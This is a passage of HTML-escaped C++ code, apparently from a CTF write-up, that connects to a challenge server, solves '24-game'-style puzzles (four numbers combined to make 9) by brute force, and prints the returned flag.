class=\"keyword\"\u003eint\u003c/span\u003e a = operands.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e(); operands.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e b = operands.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e(); operands.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e\u003c/span\u003e (operation) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;+\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(a + b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;-\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(b - a);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;*\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(a*b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (b%a)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003cspan class=\"comment\"\u003e//不能整除的话与咸鱼何异\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(b / a);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ecal\u003c/span\u003e\u003cspan class=\"params\"\u003e(string expr)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!operators.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e())operators.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!operands.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e())operands.\u003cspan class=\"built_in\"\u003epop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; expr.\u003cspan class=\"built_in\"\u003elength\u003c/span\u003e(); i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expr[i] == \u003cspan class=\"string\"\u003e\u0026#x27; \u0026#x27;\u003c/span\u003e)\u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expr[i] == \u003cspan class=\"string\"\u003e\u0026#x27;+\u0026#x27;\u003c/span\u003e || expr[i] == \u003cspan class=\"string\"\u003e\u0026#x27;-\u0026#x27;\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e temp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!operators.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e() \u0026amp;\u0026amp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e((temp = operators.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e()) == \u003cspan class=\"string\"\u003e\u0026#x27;+\u0026#x27;\u003c/span\u003e || temp == \u003cspan class=\"string\"\u003e\u0026#x27;-\u0026#x27;\u003c/span\u003e || temp == \u003cspan class=\"string\"\u003e\u0026#x27;*\u0026#x27;\u003c/span\u003e || temp == \u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eprocess\u003c/span\u003e() == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoperators.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(expr[i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (expr[i] == \u003cspan class=\"string\"\u003e\u0026#x27;*\u0026#x27;\u003c/span\u003e || expr[i] == \u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e temp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!operators.\u003cspan class=\"built_in\"\u003eempty\u003c/span\u003e() \u0026amp;\u0026amp;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e((temp = operators.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e()) == \u003cspan class=\"string\"\u003e\u0026#x27;*\u0026#x27;\u003c/span\u003e || (temp = operators.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e()) == \u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eprocess\u003c/span\u003e() == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoperators.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(expr[i]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e num = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (i\u0026lt;expr.\u003cspan class=\"built_in\"\u003elength\u003c/span\u003e() \u0026amp;\u0026amp; expr[i] \u0026gt;= \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e\u0026amp;\u0026amp;expr[i] \u0026lt;= \u003cspan class=\"string\"\u003e\u0026#x27;9\u0026#x27;\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003enum *= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003enum += expr[i] - \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ei++;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ei--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoperands.\u003cspan class=\"built_in\"\u003epush\u003c/span\u003e(num);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (operands.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() \u0026gt; \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eprocess\u003c/span\u003e() == \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e)\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e operands.\u003cspan class=\"built_in\"\u003etop\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e \u003cspan class=\"title\"\u003eto_symbol\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003eswitch\u003c/span\u003e\u003c/span\u003e (i) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;+\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;-\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e2\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;*\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ecase\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e:\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;/\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eSOCKET server;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eread\u003c/span\u003e\u003cspan class=\"params\"\u003e(string \u0026amp;i)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e2048\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(buffer, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e buffer);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003erecv\u003c/span\u003e(server, buffer, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(buffer), \u003cspan class=\"number\"\u003e0\u003c/span\u003e) == SOCKET_ERROR) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026quot;read error\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ei = buffer;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e())\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eput\u003c/span\u003e\u003cspan class=\"params\"\u003e(string \u0026amp;m)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026quot;sent:\u0026quot;\u003c/span\u003e \u0026lt;\u0026lt; m \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003esend\u003c/span\u003e(server, m.\u003cspan class=\"built_in\"\u003ec_str\u003c/span\u003e(), m.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(), \u003cspan class=\"number\"\u003e0\u003c/span\u003e) == SOCKET_ERROR) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026quot;put error\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eWSAData wd;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*assert*/\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eWSAStartup\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eMAKEWORD\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e), \u0026amp;wd));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eserver = \u003cspan class=\"built_in\"\u003esocket\u003c/span\u003e(AF_INET, SOCK_STREAM, IPPROTO_TCP);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eSOCKADDR_IN addrServ;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_family = AF_INET;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_port = \u003cspan class=\"built_in\"\u003ehtons\u003c/span\u003e(\u003cspan class=\"number\"\u003e9998\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eaddrServ.sin_addr.S_un.S_addr = \u003cspan class=\"built_in\"\u003einet_addr\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;123.56.218.81\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e ret = \u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(server, (SOCKADDR*)\u0026amp;addrServ, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(SOCKADDR));\u003cspan class=\"comment\"\u003e//开始连接\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (SOCKET_ERROR == ret) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;socket connect failed\\n\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring in;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(in)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (in.\u003cspan class=\"built_in\"\u003efind\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;moectf\u0026quot;\u003c/span\u003e)!=\u003cspan class=\"number\"\u003e-1\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esystem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;cls\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026quot;flag found:\u0026quot;\u003c/span\u003e \u0026lt;\u0026lt; in \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; in;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e fl = in.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (in[fl] != \u003cspan class=\"string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e)fl--;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ein = in.\u003cspan class=\"built_in\"\u003esubstr\u003c/span\u003e(fl, in.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() - fl);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e4\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esscanf\u003c/span\u003e(in.\u003cspan class=\"built_in\"\u003ec_str\u003c/span\u003e(), \u003cspan class=\"string\"\u003e\u0026quot;:%d, %d, %d, %d\u0026quot;\u003c/span\u003e, \u0026amp;arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e2\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e3\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eprev_permutation\u003c/span\u003e(arr, arr + \u003cspan class=\"number\"\u003e4\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003enext_permutation\u003c/span\u003e(arr, arr + \u003cspan class=\"number\"\u003e4\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003enext_permutation\u003c/span\u003e(arr, arr + \u003cspan class=\"number\"\u003e4\u003c/span\u003e)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i\u0026lt;\u003cspan class=\"number\"\u003e4\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j\u0026lt;\u003cspan class=\"number\"\u003e4\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e k = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; k \u0026lt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e; k++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring exp = \u003cspan class=\"built_in\"\u003eto_string\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]) + \u003cspan class=\"built_in\"\u003eto_symbol\u003c/span\u003e(i) +\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eto_string\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]) + \u003cspan class=\"built_in\"\u003eto_symbol\u003c/span\u003e(j) +\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eto_string\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e2\u003c/span\u003e]) + \u003cspan class=\"built_in\"\u003eto_symbol\u003c/span\u003e(k) +\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eto_string\u003c/span\u003e(arr[\u003cspan class=\"number\"\u003e3\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//cout \u0026lt;\u0026lt; exp;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ecal\u003c/span\u003e(exp) == \u003cspan class=\"number\"\u003e9\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(exp);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003egoto\u003c/span\u003e end;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eend:;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv 